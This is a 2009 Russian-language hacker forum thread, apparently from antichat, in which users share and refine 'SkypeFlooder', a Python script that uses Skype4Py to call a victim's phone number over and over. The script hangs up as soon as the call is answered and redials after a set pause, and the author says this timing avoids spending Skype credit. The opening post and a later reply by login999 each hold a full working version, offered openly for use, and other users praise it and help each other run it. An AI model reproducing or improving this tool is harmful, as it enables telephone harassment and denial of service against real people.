[ Python ] SkypeFlooder by inlanger. Флудер телефонов от меня.

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by inlanger, 16 Apr 2009.

  1. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    [ Python ] SkypeFlooder

    Написал флудер телефонов на Python. Работает через Skype. В exe не компилировал, так как OpenSource. Забираем, тестируем, пишем свои предложения.
    Перед запуском обязательно читаем шапку кода и качаем всё что нужно!
    Code:
    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    
    # Флудер телефонов. Работает со skype. У вас должен быть положительный баланс на skype аккаунте.
    # Для работы необходимы:
    # Python: http://downloads.activestate.com/ActivePython/windows/2.6/ActivePython-2.6.1.1-win32-x86.msi
    # Skype4Py: http://garr.dl.sourceforge.net/sourceforge/skype4py/Skype4Py-1.0.31.0.win32.exe
    # Skype: http://www.skype.com/intl/ru/download/
    #
    # version 0.2
    # created by inlanger
    
    import sys, time, Skype4Py
    from Skype4Py import call
    
    num = raw_input("Input tel number, like +1234567890: ")
    pause = raw_input("Input pause(sec): ")
    while 1==1:
        # This variable will get its actual value in OnCall handler
        CallStatus = 0
        
        # Here we define a set of call statuses that indicate a call has been either aborted or finished
        CallIsFinished = set ([Skype4Py.clsFailed, Skype4Py.clsFinished, Skype4Py.clsMissed, Skype4Py.clsRefused, Skype4Py.clsBusy, Skype4Py.clsCancelled]);
        
        def AttachmentStatusText(status):
           return skype.Convert.AttachmentStatusToText(status)
        
        def CallStatusText(status):
            return skype.Convert.CallStatusToText(status)
        
        # This handler is fired when status of Call object has changed
        def OnCall(call, status):
            global CallStatus
            CallStatus = status
            print 'Call status: ' + CallStatusText(status)
            if CallStatusText(status)=='Call in Progress': #Call in progress
                call.Finish()
                print "Waiting pause..."
        
        
        # This handler is fired when Skype attatchment status changes
        def OnAttach(status):
            print 'API attachment status: ' + AttachmentStatusText(status)
            if status == Skype4Py.apiAttachAvailable:
                skype.Attach()
        
        # Let's see if we were started with a command line parameter..
        try:
            CmdLine = num
        except:
            print 'Missing command line parameter'
            sys.exit()
        
        # Creating Skype object and assigning event handlers..
        skype = Skype4Py.Skype()
        skype.OnAttachmentStatus = OnAttach
        skype.OnCallStatus = OnCall
        
        # Starting Skype if it's not running already..
        if not skype.Client.IsRunning:
            print 'Starting Skype..'
            skype.Client.Start()
        
        # Attatching to Skype..
        print 'Connecting to Skype..'
        skype.Attach()
        skype.PlaceCall(CmdLine)
        
        # Checking if what we got from command line parameter is present in our contact list
        Found = False
        
        
        # Loop until CallStatus gets one of "call terminated" values in OnCall handler
        while not CallStatus in CallIsFinished:
            pass
        
        time.sleep(int(pause))
    
    На данный момент программа:
    • запрашивает номер телефона жертвы
    • запрашивает паузу между звонками
    • звонит на номер жертвы и ждёт поднятия трубки
    • если жертва берёт трубку то программа сбрасывает звонок, ждёт паузу и заново звонит
    • если жертва жмёт "отбой вызова", то программа заново звонит
    Деньги не успевают уйти с аккаунта! Если вдруг деньги успевают сниматься - поставьте больше паузу между звонками.

    В следующей версии может быть прикручу GUI и оптимизирую код.
    Все мелкие изменения будут тут , крупные буду выкладывать в теме.

    Для тех, кто не знает что делать с кодом:
    Устанавливаем всё, что написано в шапке кода. Создаём текстовый файл и копируем в него код. Сохраняем с расшерением .py и запускаем.


    Вариант от login999, без английских коментов, с проверкой входных данных и другими мелкими изменениями: туц

    Для тех, кто не хочет/не может/не умеет пользоваться питоном собрал ЕХЕ файл. В архиве 3 файла - сама программа, библиотеки к ней и файл vcredist_x86.exe, для тех, у кого программа выдаёт ошибку. Ошибка связана с тем, что ХР и более ранние версии виндузов используют старые сишные библиотеки. Качать отсюда . Просьба не выкладывать на обменники!
     
    #1 inlanger, 16 Apr 2009
    Last edited: 4 May 2009
    20 people like this.
  2. Yanker

    Yanker Elder - Старейшина

    Joined:
    18 Jul 2008
    Messages:
    41
    Likes Received:
    7
    Reputations:
    5
    Отлично работает, +1 за такую софтину!!
     
  3. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    кул... автор молодец....
     
    2 people like this.
  4. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    Пишем отзывы, кто уже пользовался... Мне же надо знать в какую сторону его дорабатывать.
     
    1 person likes this.
  5. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    Читай внимательнее описание и код. Там всё написано как запускать.
     
  6. Моргaн

    Моргaн Banned

    Joined:
    8 Apr 2009
    Messages:
    0
    Likes Received:
    17
    Reputations:
    3
    чего то собрал всё как на писали нажал и черное окно открылось и закрылось:(
     
  7. iron-viper

    iron-viper Elder - Старейшина

    Joined:
    13 Nov 2007
    Messages:
    167
    Likes Received:
    45
    Reputations:
    3
    запусти через командную строку если в венде. Пуск - выполнить - cmd а затем туда перетяни скрипт и нажми "ввод" возможно у тебя не так собралось или еще что, но ты не успеваешь ошибку увидеть, пробуй, так точно увидишь если что не так.
     
  8. Моргaн

    Моргaн Banned

    Joined:
    8 Apr 2009
    Messages:
    0
    Likes Received:
    17
    Reputations:
    3
    сделал и ничего не понял :(
     
  9. Моргaн

    Моргaн Banned

    Joined:
    8 Apr 2009
    Messages:
    0
    Likes Received:
    17
    Reputations:
    3
    видео сделай чтоб люди знали как делать а то не понятно много чего :cool:
     
  10. iron-viper

    iron-viper Elder - Старейшина

    Joined:
    13 Nov 2007
    Messages:
    167
    Likes Received:
    45
    Reputations:
    3
    видео думаю лишнее, что ты не понял? расскажи что не ясно?
     
  11. _Kris_

    _Kris_ Elder - Старейшина

    Joined:
    22 Jul 2008
    Messages:
    53
    Likes Received:
    31
    Reputations:
    5
    Стучать если что в его асю...
     
  12. Моргaн

    Моргaн Banned

    Joined:
    8 Apr 2009
    Messages:
    0
    Likes Received:
    17
    Reputations:
    3
    знал бы я его асю:)
     
    2 people like this.
  13. _Kris_

    _Kris_ Elder - Старейшина

    Joined:
    22 Jul 2008
    Messages:
    53
    Likes Received:
    31
    Reputations:
    5
    https://forum.antichat.ru/member.php?u=47566
     
  14. iron-viper

    iron-viper Elder - Старейшина

    Joined:
    13 Nov 2007
    Messages:
    167
    Likes Received:
    45
    Reputations:
    3
    =)
     
    1 person likes this.
  15. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    Я же писал, что в следующих версиях буду работать с кодом. А сейчас выложил первую, нормально работающую версию.

    А для тех, у кого не запускается, и они не умеют читать тексты ошибок - ждите следующую версию. Думаю к ней будет и exe файл.
     
  16. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    А для тех у кого не запускается, а точнее для питона, то добавьте вначале перед комментами
    Code:
    #!/usr/bin/python
    # -*- coding: <Название вашей кодировки (для винды обычно cp1251)> -*-
    
    Ленимся, уважаемый inlanger, если пишем комменты на русском, то кодировку нужно указывать...
     
  17. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    login999, блин, коменты дописывал в процессе написания поста.
     
  18. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    Немного переделал. как мне удобнее+ сделал какую-никакую проверку входных значений + русифицировал и снес английские комменты, так как лично мне они затрудняли чтение кода :)

    Насчет работоспособности то нет возможности проверить, так как дома буду не раньше понедельника, а на работе скайпа нету :(, да и акков с балансом тоже нету, да и с синтаксисом для меня тут есть непонятки. Буду дома - потыкаю поближе , так как без скайпа это имеет мало смысла :(
    Был бы благодарен, если бы в личку подкинули акк с балансом :rolleyes:

    Code:
    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    # Флудер телефонов. Работает со skype. У вас должен быть положительный баланс на skype аккаунте.
    # Для работы необходимы:
    # Python: http://downloads.activestate.com/ActivePython/windows/2.6/ActivePython-2.6.1.1-win32-x86.msi
    # Skype4Py: http://garr.dl.sourceforge.net/sourceforge/skype4py/Skype4Py-1.0.31.0.win32.exe
    # Skype: http://www.skype.com/intl/ru/download/
    #
    # version 0.2
    # created by inlanger
    
    import sys, time, Skype4Py
    from Skype4Py import call
    
    skype = Skype4Py.Skype()
    
    def OnCall(call, status):
    	global CallStatus
    	CallStatus = status
    	print u"Статус звонка: " + skype.Convert.CallStatusToText(status)
    	if CallStatusText(status)=="Call in Progress":
    		call.Finish()
    		print u"Ждем-с..."
    		
    def OnAttach(status):
    	print u"API статус присоединенного: " + skype.Convert.AttachmentStatusToText(status)
    	if status == Skype4Py.apiAttachAvailable:
    		skype.Attach()
    
    print u"Введите номер телефона, например +1234567890: "
    num = raw_input("")
    print u"Ведите паузу (в секундах): "
    pause = raw_input("")
    
    while True:
        CallStatus = 0
        CallIsFinished = set ([Skype4Py.clsFailed, Skype4Py.clsFinished, Skype4Py.clsMissed, Skype4Py.clsRefused, Skype4Py.clsBusy, Skype4Py.clsCancelled]);
        if num[-1:].isdigit():
            if pause.isdigit():
            	skype.OnAttachmentStatus = OnAttach
            	skype.OnCallStatus = OnCall
            	if not skype.Client.IsRunning:
            		print u"Запускаем Skype.."
            		skype.Client.Start()
            	print u"Присоединяемся к Skype.."
            	skype.Attach()
            	skype.PlaceCall(num)
            	Found = False
            	while not CallStatus in CallIsFinished:
            		pass
            	time.sleep(int(pause))
           	else:
           		print u"Прекратите ху*нё* страдать! Введите ЦИФЕРНОЕ значение паузы!"
           		keypressed = raw_input("")
           		sys.exit()
        else:
            print u"Может нормальный номер телефона введем ?"
            keypressed = raw_input("")
            sys.exit()
    
     
    1 person likes this.
  19. inlanger

    inlanger Elder - Старейшина

    Joined:
    7 Jan 2007
    Messages:
    985
    Likes Received:
    283
    Reputations:
    27
    login999, надо будет как-то помечать свои изменения. Например, напротив своей строчки писать @author login999
    Чтобы потом собрать одну нормальную версию и не забыть всех авторов )
     
  20. login999

    login999 Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    491
    Likes Received:
    280
    Reputations:
    92
    Честно говоря, я уже привык к пиратству, так что пох на цоперайты - мать их, все равно опенсорс, тем более что изменений как таковых то и нету - по мелочи чисто, буду дома - углублюсь нормально, главное чтоб линию сделали, ато уже вторые сутки дома без инета :(